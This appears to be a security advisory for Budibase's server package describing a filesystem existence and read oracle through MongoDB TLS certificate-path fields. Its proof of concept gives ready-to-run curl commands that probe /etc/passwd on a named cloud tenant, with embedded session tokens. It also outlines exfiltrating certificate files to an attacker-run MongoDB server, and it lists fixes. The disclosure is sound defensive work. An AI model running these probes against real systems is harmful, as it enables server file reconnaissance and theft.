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Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile — @budibase / server

Generation of Error Message Containing Sensitive Information

Summary

When creating a MongoDB datasource, Budibase passes the tlsCertificateKeyFile and tlsCAFile fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning /api/datasources/verify into an arbitrary-path existence/read oracle over the whole server filesystem.

Root Cause

packages/server/src/integrations/mongodb.ts passes config.tlsCertificateKeyFile / config.tlsCAFile directly to new MongoClient(config.connectionString, options) as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / .. paths.

POC

Reproduction — paste each line, press Enter

Line 1 (existing file — proves the file is READ):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'

RESPONSE

{"connected":false,"error":"error:0480006C:PEM routines::no start line"}

Line 2 (missing file — path is reflected):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'

RESPONSE

{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}

Actual output

/etc/passwd -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"} (EXISTS, was READ) /nonexistent/pentest/xyz -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"} (MISSING, path reflected)

Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return ENOENT ... open '<path>' with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.

Impact

| Who / what is affected | How | |---|---| | The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account | | Server config / secret files, other tenants' paths | Located by enumerating paths (exists vs missing) | | PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |

  1. On managed/Cloud, disallow tlsCertificateKeyFile / tlsCAFile as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.
  2. Reject absolute and .. paths; confine any file reference to an allow-listed certificates directory.
  3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
  • Published: Jul 24, 2026
  • Updated: Jul 25, 2026
  • GHSA: GHSA-ppr4-5f46-j9c6
  • Severity: High
  • Exploit:
  • CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

Software From Fixed in
Node.js icon @budibase / server - 3.38.1.x

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

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